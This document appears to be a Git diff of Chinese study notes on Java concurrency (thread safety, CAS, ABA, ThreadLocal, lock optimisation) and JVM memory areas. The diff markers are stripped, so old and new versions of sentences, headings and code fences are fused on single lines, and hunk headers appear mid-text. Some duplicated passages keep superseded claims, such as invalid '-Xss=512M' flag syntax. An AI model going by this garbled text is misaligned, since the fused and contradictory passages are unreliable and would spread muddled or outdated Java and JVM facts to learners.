多线程环境下,应当尽量使对象成为不可变,来满足线程安全。 ## 互斥同步
### 2. 绝对线程安全
不管运行时环境如何,调用者都不需要任何额外的同步措施。
### 3. 相对线程安全
相对的线程安全需要保证对这个对象单独的操作是线程安全的,在调用的时候不需要做额外的保障措施,但是对于一些特定顺序的连续调用,就可能需要在调用端使用额外的同步手段来保证调用的正确性。
在 Java 语言中,大部分的线程安全类都属于这种类型,例如 Vector、HashTable、Collections 的 synchronizedCollection() 方法包装的集合等。
对于下面的代码,如果删除元素的线程删除了一个元素,而获取元素的线程试图访问一个已经被删除的元素,那么就会抛出 ArrayIndexOutOfBoundsException。
```java
public class VectorUnsafeExample {
private static Vector<Integer> vector = new Vector<>();
public static void main(String[] args) {
while (true) {
for (int i = 0; i < 100; i++) {
vector.add(i);
}
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.execute(() -> {
for (int i = 0; i < vector.size(); i++) {
vector.remove(i);
}
});
executorService.execute(() -> {
for (int i = 0; i < vector.size(); i++) {
vector.get(i);
}
});
executorService.shutdown();
}
}
}
```
```html
Exception in thread "Thread-159738" java.lang.ArrayIndexOutOfBoundsException: Array index out of range: 3
at java.util.Vector.remove(Vector.java:831)
at VectorUnsafeExample.lambda$main$0(VectorUnsafeExample.java:14)
at VectorUnsafeExample$$Lambda$1/713338599.run(Unknown Source)
at java.lang.Thread.run(Thread.java:745)
```
如果要保证上面的代码能正确执行下去,就需要对删除元素和获取元素的代码进行同步。
```java
executorService.execute(() -> {
synchronized (vector) {
for (int i = 0; i < vector.size(); i++) {
vector.remove(i);
}
}
});
executorService.execute(() -> {
synchronized (vector) {
for (int i = 0; i < vector.size(); i++) {
vector.get(i);
}
}
});
```
### 4. 线程兼容
线程兼容是指对象本身并不是线程安全的但是可以通过在调用端正确地使用同步手段来保证对象在并发环境中可以安全地使用我们平常说一个类不是线程安全的绝大多数时候指的是这一种情况。Java API 中大部分的类都是属于线程兼容的,如与前面的 Vector 和 HashTable 相对应的集合类 ArrayList 和 HashMap 等。
### 5. 线程对立
线程对立是指无论调用端是否采取了同步措施,都无法在多线程环境中并发使用的代码。由于 Java 语言天生就具备多线程特性,线程对立这种排斥多线程的代码是很少出现的,而且通常都是有害的,应当尽量避免。
## 线程安全的实现方法
### 1. 互斥同步
synchronized 和 ReentrantLock。 synchronized 和 ReentrantLock。
### 2. 非阻塞同步 ## 非阻塞同步
互斥同步最主要的问题就是进行线程阻塞和唤醒所带来的性能问题,因此这种同步也称为阻塞同步Blocking Synchronization 互斥同步最主要的问题就是线程阻塞和唤醒所带来的性能问题,因此这种同步也称为阻塞同步。
从处理问题的方式上说,互斥同步属于一种悲观的并发策略,总是认为只要不去做正确的同步措施(例如加锁),那就肯定会出现问题无论共享数据是否真的会出现竞争,它都要进行加锁(这里讨论的是概念模型,实际上虚拟机会优化掉很大一部分不必要的加锁)、用户态核心态转换、维护锁计数器和检查是否有被阻塞的线程需要唤醒等操作。随着硬件指令集的发展我们有了另外一个选择基于冲突检测的乐观并发策略通俗地说就是先进行操作如果没有其他线程争用共享数据那操作就成功了如果共享数据有争用产生了冲突那就再采取其他的补偿措施最常见的补偿措施就是不断地重试直到成功为止这种乐观的并发策略的许多实现都不需要把线程挂起因此这种同步操作称为非阻塞同步Non-Blocking Synchronization 互斥同步属于一种悲观的并发策略,总是认为只要不去做正确的同步措施,那就肯定会出现问题无论共享数据是否真的会出现竞争,它都要进行加锁(这里讨论的是概念模型,实际上虚拟机会优化掉很大一部分不必要的加锁)、用户态核心态转换、维护锁计数器和检查是否有被阻塞的线程需要唤醒等操作。
乐观锁需要操作和冲突检测这两个步骤具备原子性这里就不能再使用互斥同步来保证了只能靠硬件来完成。硬件支持的原子性操作最典型的是比较并交换Compare-and-SwapCAS)。 ### 1. CAS
CAS 指令需要有 3 个操作数,分别是内存位置(在 Java 中可以简单理解为变量的内存地址,用 V 表示)、旧的预期值(用 A 表示)和新值(用 B 表示。CAS 指令执行时,当且仅当 V 符合旧预期值 A 时,处理器用新值 B 更新 V 的值,否则它就不执行更新。但是无论是否更新了 V 的值,都会返回 V 的旧值,上述的处理过程是一个原子操作 随着硬件指令集的发展,我们可以使用基于冲突检测的乐观并发策略:先进行操作,如果没有其它线程争用共享数据,那操作就成功了,否则采取补偿措施(不断地重试,直到成功为止)。这种乐观的并发策略的许多实现都不需要将线程阻塞,因此这种同步操作称为非阻塞同步
J.U.C 包里面的整数原子类 AtomicInteger其中的 compareAndSet() 和 getAndIncrement() 等方法都使用了 Unsafe 类的 CAS 操作 乐观锁需要操作和冲突检测这两个步骤具备原子性这里就不能再使用互斥同步来保证了只能靠硬件来完成。硬件支持的原子性操作最典型的是比较并交换Compare-and-SwapCAS。CAS 指令需要有 3 个操作数,分别是内存地址 V、旧的预期值 A 和新值 B。当执行操作时只有当 V 的值等于 A才将 V 的值更新为 B
在下面的代码 1 中,使用了 AtomicInteger 执行了自增的操作。代码 2 是 incrementAndGet() 的源码,它调用了 unsafe 的 getAndAddInt() 。代码 3 是 getAndAddInt() 源码var1 指示内存位置var2 指示新值var4 指示操作需要加的数值,这里为 1。在代码 3 的实现中,通过 getIntVolatile(var1, var2) 得到旧的预期值。通过调用 compareAndSwapInt() 来进行 CAS 比较,如果 var2=var5那么就更新内存地址为 var1 的变量为 var5+var4。可以看到代码 3 是在一个循环中进行,发生冲突的做法是不断的进行重试。 ### 2. AtomicInteger
J.U.C 包里面的整数原子类 AtomicInteger 的方法调用了 Unsafe 类的 CAS 操作。
以下代码使用了 AtomicInteger 执行了自增的操作。
```java ```java
// 代码 1
private AtomicInteger cnt = new AtomicInteger(); private AtomicInteger cnt = new AtomicInteger();
public void add() { public void add() {
@ -1404,15 +1351,19 @@ public void add() {
} }
``` ```
以下代码是 incrementAndGet() 的源码,它调用了 Unsafe 的 getAndAddInt() 。
```java ```java
// 代码 2
public final int incrementAndGet() { public final int incrementAndGet() {
return unsafe.getAndAddInt(this, valueOffset, 1) + 1; return unsafe.getAndAddInt(this, valueOffset, 1) + 1;
} }
``` ```
以下代码是 getAndAddInt() 源码var1 指示对象内存地址var2 指示该字段相对对象内存地址的偏移var4 指示操作需要加的数值,这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值,通过调用 compareAndSwapInt() 来进行 CAS 比较,如果该字段内存地址中的值等于 var5那么就更新内存地址为 var1+var2 的变量为 var5+var4。
可以看到 getAndAddInt() 在一个循环中进行,发生冲突的做法是不断的进行重试。
```java ```java
// 代码 3
public final int getAndAddInt(Object var1, long var2, int var4) { public final int getAndAddInt(Object var1, long var2, int var4) {
int var5; int var5;
do { do {
@ -1423,26 +1374,21 @@ public final int getAndAddInt(Object var1, long var2, int var4) {
} }
``` ```
ABA :如果一个变量初次读取的时候是 A 值,它的值被改成了 B后来又被改回为 A那 CAS 操作就会误认为它从来没有被改变过。J.U.C 包提供了一个带有标记的原子引用类“AtomicStampedReference”来解决这个问题它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性,如果需要解决 ABA 问题,改用传统的互斥同步可能会比原子类更高效。 ### 3. ABA
### 3. 无同步方案 如果一个变量初次读取的时候是 A 值,它的值被改成了 B后来又被改回为 A那 CAS 操作就会误认为它从来没有被改变过。
要保证线程安全,并不是一定就要进行同步,两者没有因果关系。同步只是保证共享数据争用时的正确性的手段,如果一个方法本来就不涉及共享数据,那它自然就无须任何同步措施去保证正确性,因此会有一些代码天生就是线程安全的 J.U.C 包提供了一个带有标记的原子引用类 AtomicStampedReference 来解决这个问题,它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性,如果需要解决 ABA 问题,改用传统的互斥同步可能会比原子类更高效
**可重入代码Reentrant Code** ## 无同步方案
这种代码也叫做纯代码Pure Code可以在代码执行的任何时刻中断它转而去执行另外一段代码包括递归调用它本身而在控制权返回后原来的程序不会出现任何错误。相对线程安全来说可重入性是更基本的特性它可以保证线程安全即所有的可重入的代码都是线程安全的但是并非所有的线程安全的代码都是可重入的 要保证线程安全,并不是一定就要进行同步。如果一个方法本来就不涉及共享数据,那它自然就无须任何同步措施去保证正确性
可重入代码有一些共同的特征,例如不依赖存储在堆上的数据和公用的系统资源、用到的状态量都由参数中传入、不调用非可重入的方法等。我们可以通过一个简单的原则来判断代码是否具备可重入性:如果一个方法,它的返回结果是可以预测的,只要输入了相同的数据,就都能返回相同的结果,那它就满足可重入性的要求,当然也就是线程安全的。 ### 1. 栈封闭
**(二)栈封闭** 多个线程访问同一个方法的局部变量时,不会出现线程安全问题,因为局部变量存储在虚拟机栈中,属于线程私有的。
多个线程访问同一个方法的局部变量时,不会出现线程安全问题,因为局部变量存储在栈中,属于线程私有的。
```java ```java
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class StackClosedExample { public class StackClosedExample {
public void add100() { public void add100() {
int cnt = 0; int cnt = 0;
@ -1469,11 +1415,11 @@ public static void main(String[] args) {
100 100
``` ```
**(三)线程本地存储Thread Local Storage** ### 2. 线程本地存储Thread Local Storage
如果一段代码中所需要的数据必须与其他代码共享,那就看看这些共享数据的代码是否能保证在同一个线程中执行。如果能保证,我们就可以把共享数据的可见范围限制在同一个线程之内,这样,无须同步也能保证线程之间不出现数据争用的问题。 如果一段代码中所需要的数据必须与其他代码共享,那就看看这些共享数据的代码是否能保证在同一个线程中执行。如果能保证,我们就可以把共享数据的可见范围限制在同一个线程之内,这样,无须同步也能保证线程之间不出现数据争用的问题。
符合这种特点的应用并不少见,大部分使用消费队列的架构模式(如“生产者-消费者”模式)都会将产品的消费过程尽量在一个线程中消费完其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”Thread-per-Request的处理方式这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。 符合这种特点的应用并不少见,大部分使用消费队列的架构模式(如“生产者-消费者”模式)都会将产品的消费过程尽量在一个线程中消费完其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”Thread-per-Request的处理方式这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。
可以使用 java.lang.ThreadLocal 类来实现线程本地存储功能。 可以使用 java.lang.ThreadLocal 类来实现线程本地存储功能。
@ -1532,7 +1478,7 @@ public class ThreadLocalExample1 {
<div align="center"> <img src="../pics//3646544a-cb57-451d-9e03-d3c4f5e4434a.png" width=""/> </div><br> <div align="center"> <img src="../pics//3646544a-cb57-451d-9e03-d3c4f5e4434a.png" width=""/> </div><br>
每个 Thread 都有一个 ThreadLocal.ThreadLocalMap 对象Thread 类中就定义了 ThreadLocal.ThreadLocalMap 成员 每个 Thread 都有一个 ThreadLocal.ThreadLocalMap 对象。
```java ```java
/* ThreadLocal values pertaining to this thread. This map is maintained /* ThreadLocal values pertaining to this thread. This map is maintained
@ -1571,17 +1517,25 @@ public T get() {
} }
``` ```
ThreadLocal 从理论上讲并不是用来解决多线程并发问题的,因为根本不存在多线程竞争。在一些场景 (尤其是使用线程池) 下,由于 ThreadLocal.ThreadLocalMap 的底层数据结构导致 ThreadLocal 有内存泄漏的情况,尽可能在每次使用 ThreadLocal 后手动调用 remove(),以避免出现 ThreadLocal 经典的内存泄漏甚至是造成自身业务混乱的风险。 ThreadLocal 从理论上讲并不是用来解决多线程并发问题的,因为根本不存在多线程竞争。
在一些场景 (尤其是使用线程池) 下,由于 ThreadLocal.ThreadLocalMap 的底层数据结构导致 ThreadLocal 有内存泄漏的情况,应该尽可能在每次使用 ThreadLocal 后手动调用 remove(),以避免出现 ThreadLocal 经典的内存泄漏甚至是造成自身业务混乱的风险。
### 3. 可重入代码Reentrant Code
这种代码也叫做纯代码Pure Code可以在代码执行的任何时刻中断它转而去执行另外一段代码包括递归调用它本身而在控制权返回后原来的程序不会出现任何错误。
可重入代码有一些共同的特征,例如不依赖存储在堆上的数据和公用的系统资源、用到的状态量都由参数中传入、不调用非可重入的方法等。
# 十二、锁优化 # 十二、锁优化
这里的锁优化主要是指虚拟机对 synchronized 的优化。 这里的锁优化主要是指 JVM 对 synchronized 的优化。
## 自旋锁 ## 自旋锁
互斥同步进入阻塞状态的开销都很大,应该尽量避免。在许多应用中,共享数据的锁定状态只会持续很短的一段时间。自旋锁的思想是让一个线程在请求一个共享数据的锁时执行忙循环(自旋)一段时间,如果在这段时间内能获得锁,就可以避免进入阻塞状态。 互斥同步进入阻塞状态的开销都很大,应该尽量避免。在许多应用中,共享数据的锁定状态只会持续很短的一段时间。自旋锁的思想是让一个线程在请求一个共享数据的锁时执行忙循环(自旋)一段时间,如果在这段时间内能获得锁,就可以避免进入阻塞状态。
锁虽然能避免进入阻塞状态从而减少开销,但是它需要进行忙循环操作占用 CPU 时间,它只适用于共享数据的锁定状态很短的场景。自旋次数的默认值是 10 次,用户可以使用虚拟机参数 -XX:PreBlockSpin 来更改。 锁虽然能避免进入阻塞状态从而减少开销,但是它需要进行忙循环操作占用 CPU 时间,它只适用于共享数据的锁定状态很短的场景。
在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的次数不再固定了,而是由前一次在同一个锁上的自旋次数及锁的拥有者的状态来决定。 在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的次数不再固定了,而是由前一次在同一个锁上的自旋次数及锁的拥有者的状态来决定。
@ -1589,7 +1543,7 @@ ThreadLocal 从理论上讲并不是用来解决多线程并发问题的,因
锁消除是指对于被检测出不可能存在竞争的共享数据的锁进行消除。 锁消除是指对于被检测出不可能存在竞争的共享数据的锁进行消除。
锁消除主要是通过逃逸分析来支持,如果堆上的共享数据不可能逃逸出去被其它线程访问到,那么就可以把它们当成私有数据对待,也就可以将它们的锁进行消除。 锁消除主要是通过逃逸分析来支持,如果堆上的共享数据不可能逃逸出去被其它线程访问到,那么就可以把它们当成私有数据对待,也就可以将它们的锁进行消除。
对于一些看起来没有加锁的代码,其实隐式的加了很多锁。例如下面的字符串拼接代码就隐式加了锁: 对于一些看起来没有加锁的代码,其实隐式的加了很多锁。例如下面的字符串拼接代码就隐式加了锁:
@ -1599,7 +1553,7 @@ public static String concatString(String s1, String s2, String s3) {
} }
``` ```
String 是一个不可变的类,Javac 编译器会对 String 的拼接自动优化。在 JDK 1.5 之前,会转化为 StringBuffer 对象的连续 append() 操作,在 JDK 1.5 及以后的版本中,会转化为 StringBuilder 对象的连续 append() 操作,即上面的代码可能会变成下面的样子 String 是一个不可变的类,编译器会对 String 的拼接自动优化。在 JDK 1.5 之前,会转化为 StringBuffer 对象的连续 append() 操作:
```java ```java
public static String concatString(String s1, String s2, String s3) { public static String concatString(String s1, String s2, String s3) {
@ -1611,7 +1565,7 @@ public static String concatString(String s1, String s2, String s3) {
} }
``` ```
每个 StringBuffer.append() 方法中都有一个同步块,锁就是 sb 对象。虚拟机观察变量 sb很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说sb 的所有引用永远不会逃逸到 concatString() 方法之外,其他线程无法访问到它因此,虽然这里有锁,但是可以被安全地消除 每个 append() 方法中都有一个同步块。虚拟机观察变量 sb很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说sb 的所有引用永远不会逃逸到 concatString() 方法之外,其他线程无法访问到它因此可以进行消除。
## 锁粗化 ## 锁粗化
@ -1623,9 +1577,9 @@ public static String concatString(String s1, String s2, String s3) {
JDK 1.6 引入了偏向锁和轻量级锁从而让锁拥有了四个状态无锁状态unlocked、偏向锁状态biasble、轻量级锁状态lightweight locked和重量级锁状态inflated JDK 1.6 引入了偏向锁和轻量级锁从而让锁拥有了四个状态无锁状态unlocked、偏向锁状态biasble、轻量级锁状态lightweight locked和重量级锁状态inflated
以下是 HotSpot 虚拟机对象头的内存布局,这些数据被称为 mark word。其中 tag bits 对应了五个状态,这些状态在右侧的 state 表格中给出,应该注意的是 state 表格不是存储在对象头中的。除了 marked for gc 状态,其它四个状态已经在前面介绍过了。 以下是 HotSpot 虚拟机对象头的内存布局,这些数据被称为 Mark Word。其中 tag bits 对应了五个状态,这些状态在右侧的 state 表格中给出。除了 marked for gc 状态,其它四个状态已经在前面介绍过了。
<div align="center"> <img src="../pics//bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png" width="600"/> </div><br> <div align="center"> <img src="../pics//bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png" width="500"/> </div><br>
下图左侧是一个线程的虚拟机栈,其中有一部分称为 Lock Record 的区域,这是在轻量级锁运行过程创建的,用于存放锁对象的 Mark Word。而右侧就是一个锁对象包含了 Mark Word 和其它信息。 下图左侧是一个线程的虚拟机栈,其中有一部分称为 Lock Record 的区域,这是在轻量级锁运行过程创建的,用于存放锁对象的 Mark Word。而右侧就是一个锁对象包含了 Mark Word 和其它信息。
@ -1633,9 +1587,9 @@ JDK 1.6 引入了偏向锁和轻量级锁,从而让锁拥有了四个状态:
轻量级锁是相对于传统的重量级锁而言,它使用 CAS 操作来避免重量级锁使用互斥量的开销。对于绝大部分的锁,在整个同步周期内都是不存在竞争的,因此也就不需要都使用互斥量进行同步,可以先采用 CAS 操作进行同步,如果 CAS 失败了再改用互斥量进行同步。 轻量级锁是相对于传统的重量级锁而言,它使用 CAS 操作来避免重量级锁使用互斥量的开销。对于绝大部分的锁,在整个同步周期内都是不存在竞争的,因此也就不需要都使用互斥量进行同步,可以先采用 CAS 操作进行同步,如果 CAS 失败了再改用互斥量进行同步。
当尝试获取一个锁对象时,如果锁对象标记为 0 01说明锁对象的锁未锁定unlocked状态。此时虚拟机在当前线程栈中创建 Lock Record然后使用 CAS 操作将对象的 Mark Word 更新为 Lock Record 指针。如果 CAS 操作成功了,那么线程就获取了该对象上的锁,并且对象的 Mark Word 的锁标记变为 00表示该对象处于轻量级锁状态。 当尝试获取一个锁对象时,如果锁对象标记为 0 01说明锁对象的锁未锁定unlocked状态。此时虚拟机在当前线程的虚拟机栈中创建 Lock Record然后使用 CAS 操作将对象的 Mark Word 更新为 Lock Record 指针。如果 CAS 操作成功了,那么线程就获取了该对象上的锁,并且对象的 Mark Word 的锁标记变为 00表示该对象处于轻量级锁状态。
<div align="center"> <img src="../pics//baaa681f-7c52-4198-a5ae-303b9386cf47.png" width="500"/> </div><br> <div align="center"> <img src="../pics//baaa681f-7c52-4198-a5ae-303b9386cf47.png" width="400"/> </div><br>
如果 CAS 操作失败了,虚拟机首先会检查对象的 Mark Word 是否指向当前线程的虚拟机栈,如果是的话说明当前线程已经拥有了这个锁对象,那就可以直接进入同步块继续执行,否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁,那轻量级锁就不再有效,要膨胀为重量级锁。 如果 CAS 操作失败了,虚拟机首先会检查对象的 Mark Word 是否指向当前线程的虚拟机栈,如果是的话说明当前线程已经拥有了这个锁对象,那就可以直接进入同步块继续执行,否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁,那轻量级锁就不再有效,要膨胀为重量级锁。
@ -1643,8 +1597,6 @@ JDK 1.6 引入了偏向锁和轻量级锁,从而让锁拥有了四个状态:
偏向锁的思想是偏向于让第一个获取锁对象的线程,这个线程在之后获取该锁就不再需要进行同步操作,甚至连 CAS 操作也不再需要。 偏向锁的思想是偏向于让第一个获取锁对象的线程,这个线程在之后获取该锁就不再需要进行同步操作,甚至连 CAS 操作也不再需要。
可以使用 -XX:+UseBiasedLocking=true 开启偏向锁,不过在 JDK 1.6 中它是默认开启的。
当锁对象第一次被线程获得的时候,进入偏向状态,标记为 1 01。同时使用 CAS 操作将线程 ID 记录到 Mark Word 中,如果 CAS 操作成功,这个线程以后每次进入这个锁相关的同步块就不需要再进行任何同步操作。 当锁对象第一次被线程获得的时候,进入偏向状态,标记为 1 01。同时使用 CAS 操作将线程 ID 记录到 Mark Word 中,如果 CAS 操作成功,这个线程以后每次进入这个锁相关的同步块就不需要再进行任何同步操作。
当有另外一个线程去尝试获取这个锁对象时偏向状态就宣告结束此时撤销偏向Revoke Bias后恢复到未锁定状态或者轻量级锁状态。 当有另外一个线程去尝试获取这个锁对象时偏向状态就宣告结束此时撤销偏向Revoke Bias后恢复到未锁定状态或者轻量级锁状态。
@ -1655,17 +1607,17 @@ JDK 1.6 引入了偏向锁和轻量级锁,从而让锁拥有了四个状态:
- 给线程起个有意义的名字,这样可以方便找 Bug。 - 给线程起个有意义的名字,这样可以方便找 Bug。
- 缩小同步范围,例如对于 synchronized应该尽量使用同步块而不是同步方法。 - 缩小同步范围,从而减少锁争用。例如对于 synchronized应该尽量使用同步块而不是同步方法。
- 多用同步少用 wait() 和 notify()。首先CountDownLatch, Semaphore, CyclicBarrier 和 Exchanger 这些同步类简化了编码操作,而用 wait() 和 notify() 很难实现复杂控制流的控制。其次,这些类是由最好的企业编写和维护,在后续的 JDK 中它们还会不断优化和完善,使用这些更高等级的同步工具你的程序可以不费吹灰之力获得优化 - 多用同步工具少用 wait() 和 notify()。首先CountDownLatch, CyclicBarrier, Semaphore 和 Exchanger 这些同步类简化了编码操作,而用 wait() 和 notify() 很难实现复杂控制流其次,这些同步类是由最好的企业编写和维护,在后续的 JDK 中还会不断优化和完善。
- 多用并发集合少用同步集合。并发集合比同步集合的可扩展性更好,例如应该使用 ConcurrentHashMap 而不是 Hashtable - 使用 BlockingQueue 实现生产者消费者问题
- 多用并发集合少用同步集合,例如应该使用 ConcurrentHashMap 而不是 Hashtable。
- 使用本地变量和不可变类来保证线程安全。 - 使用本地变量和不可变类来保证线程安全。
- 使用线程池而不是直接创建 Thread 对象,这是因为创建线程代价很高,线程池可以有效地利用有限的线程来启动任务。 - 使用线程池而不是直接创建线程,这是因为创建线程代价很高,线程池可以有效地利用有限的线程来启动任务。
- 使用 BlockingQueue 实现生产者消费者问题。
# 参考资料 # 参考资料

View File

@ -1,47 +1,51 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一、运行时数据区域](#一运行时数据区域) * [一、运行时数据区域](#一运行时数据区域)
* [程序计数器](#程序计数器) * [程序计数器](#程序计数器)
* [虚拟机栈](#虚拟机栈) * [Java 虚拟机栈](#java-虚拟机栈)
* [本地方法栈](#本地方法栈) * [本地方法栈](#本地方法栈)
* [](#堆) * [](#堆)
* [方法区](#方法区) * [方法区](#方法区)
* [运行时常量池](#运行时常量池) * [运行时常量池](#运行时常量池)
* [直接内存](#直接内存) * [直接内存](#直接内存)
* [二、垃圾收集](#二垃圾收集) * [二、垃圾收集](#二垃圾收集)
* [判断一个对象是否可回收](#判断一个对象是否可回收) * [判断一个对象是否可回收](#判断一个对象是否可回收)
* [引用类型](#引用类型)
* [垃圾收集算法](#垃圾收集算法) * [垃圾收集算法](#垃圾收集算法)
* [垃圾收集器](#垃圾收集器) * [垃圾收集器](#垃圾收集器)
* [内存分配与回收策略](#内存分配与回收策略) * [三、内存分配与回收策略](#内存分配与回收策略)
* [三、类加载机制](#三类加载机制) * [Minor GC 和 Full GC](#minor-gc-和-full-gc)
* [内存分配策略](#内存分配策略)
* [Full GC 的触发条件](#full-gc-的触发条件)
* [四、类加载机制](#四类加载机制)
* [类的生命周期](#类的生命周期) * [类的生命周期](#类的生命周期)
* [类初始化时机](#类初始化时机)
* [类加载过程](#类加载过程) * [类加载过程](#类加载过程)
* [加载器](#类加载器) * [初始化时机](#类初始化时机)
* [四、JVM 参数](#四jvm-参数) * [类与类加载器](#类与类加载器)
* [GC 优化配置](#gc-优化配置) * [类加载器分类](#类加载器分类)
* [GC 类型设置](#gc-类型设置) * [双亲委派模型](#双亲委派模型)
* [自定义类加载器实现](#自定义类加载器实现)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 一、运行时数据区域 # 一、运行时数据区域
<div align="center"> <img src="../pics//540631a4-6018-40a5-aed7-081e2eeeaeea.png" width="500"/> </div><br> <div align="center"> <img src="../pics//c9ad2bf4-5580-4018-bce4-1b9a71804d9c.png" width="450"/> </div><br>
## 程序计数器 ## 程序计数器
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。 记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
## 虚拟机栈 ## Java 虚拟机栈
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。每一个方法调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。 每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。方法调用直至执行完成的过程,就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
<div align="center"> <img src="../pics//f5757d09-88e7-4bbd-8cfb-cecf55604854.png" width=""/> </div><br> <div align="center"> <img src="../pics//926c7438-c5e1-4b94-840a-dcb24ff1dafe.png" width="500"/> </div><br>
可以通过 -Xss 这个虚拟机参数来指定一个程序的 Java 虚拟机栈内存大小: 可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小:
```java ```java
java -Xss=512M HackTheJava java -Xss512M HackTheJava
``` ```
该区域可能抛出以下异常: 该区域可能抛出以下异常:
@ -51,47 +55,38 @@ java -Xss=512M HackTheJava
## 本地方法栈 ## 本地方法栈
本地方法不是用 Java 实现,对待这些方法需要特别处理 本地方法栈与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务
与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务 本地方法一般是用其它语言C、C++ 或汇编语言等)编写的,并且被编译为基于本机硬件和操作系统的程序,对待这些方法需要特别处理
<div align="center"> <img src="../pics//JNIFigure1.gif" width="350"/> </div><br> <div align="center"> <img src="../pics//JNI-Java-Native-Interface.jpg" width="350"/> </div><br>
## 堆 ## 堆
所有对象实例都在这里分配内存。 所有对象都在这里分配内存,是垃圾收集的主要区域("GC 堆"
是垃圾收集的主要区域("GC 堆"现代的垃圾收集器基本都是采用分代收集算法,该算法的思想是针对不同的对象采取不同的垃圾回收算法,因此虚拟机把 Java 堆分成以下三块: 现代的垃圾收集器基本都是采用分代收集算法,其主要的思想是针对不同类型的对象采取不同的垃圾回收算法,可以将堆分成两块:
- 新生代Young Generation - 新生代Young Generation
- 老年代Old Generation - 老年代Old Generation
- 永久代Permanent Generation
当一个对象被创建时,它首先进入新生代,之后有可能被转移到老年代中。新生代存放着大量的生命很短的对象,因此新生代在三个区域中垃圾回收的频率最高。为了更高效地进行垃圾回收,把新生代继续划分成以下三个空间: 堆不需要连续内存,并且可以动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
- Eden 可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的堆内存大小,第一个参数设置初始值,第二个参数设置最大值。
- From Survivor
- To Survivor
<div align="center"> <img src="../pics//ppt_img.gif" width=""/> </div><br>
Java 堆不需要连续内存,并且可以动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的 Java 堆内存大小,第一个参数设置初始值,第二个参数设置最大值。
```java ```java
java -Xms=1M -Xmx=2M HackTheJava java -Xms1M -Xmx2M HackTheJava
``` ```
## 方法区 ## 方法区
用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。 用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。
Java 堆一样不需要连续的内存,并且可以动态扩展,动态扩展失败一样会抛出 OutOfMemoryError 异常。 和堆一样不需要连续的内存,并且可以动态扩展,动态扩展失败一样会抛出 OutOfMemoryError 异常。
对这块区域进行垃圾回收的主要目标是对常量池的回收和对类的卸载,但是一般比较难实现。 对这块区域进行垃圾回收的主要目标是对常量池的回收和对类的卸载,但是一般比较难实现。
JDK 1.7 之前,HotSpot 虚拟机把它当成永久代来进行垃圾回收JDK 1.8 之后,取消了永久代,用 metaspace元数据区替代 HotSpot 虚拟机把它当成永久代来进行垃圾回收。但是很难确定永久代的大小,因为它受到很多因素影响,并且每次 Full GC 之后永久代的大小都会改变,所以经常会抛出 OutOfMemoryError 异常。为了更容易管理方法区,从 JDK 1.8 开始,移除永久代,并把方法区移至元空间,它位于本地内存中,而不是虚拟机内存中
## 运行时常量池 ## 运行时常量池
@ -99,17 +94,21 @@ JDK 1.7 之前HotSpot 虚拟机把它当成永久代来进行垃圾回收J
Class 文件中的常量池(编译器生成的各种字面量和符号引用)会在类加载后被放入这个区域。 Class 文件中的常量池(编译器生成的各种字面量和符号引用)会在类加载后被放入这个区域。
除了在编译期生成的常量,还允许动态生成,例如 String 类的 intern()。这部分常量也会被放入运行时常量池。 除了在编译期生成的常量,还允许动态生成,例如 String 类的 intern()。
## 直接内存 ## 直接内存
在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存,然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。 在 JDK 1.4 中新加入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存Native 堆),然后通过一个存储在 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。
这样能在一些场景中显著提高性能,因为避免了在 Java 堆和 Native 堆中来回复制数据。
# 二、垃圾收集 # 二、垃圾收集
程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的,只存在于线程的生命周期内,线程结束之后也会消失,因此不需要对这三个区域进行垃圾回收。垃圾回收主要是针对 Java 堆和方法区进行。 垃圾收集主要是针对堆和方法区进行。
## 判断一个对象是否可回收 程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的,只存在于线程的生命周期内,线程结束之后也会消失,因此不需要对这三个区域进行垃圾回收
## 判断一个对象是否可被回收
### 1. 引用计数算法 ### 1. 引用计数算法
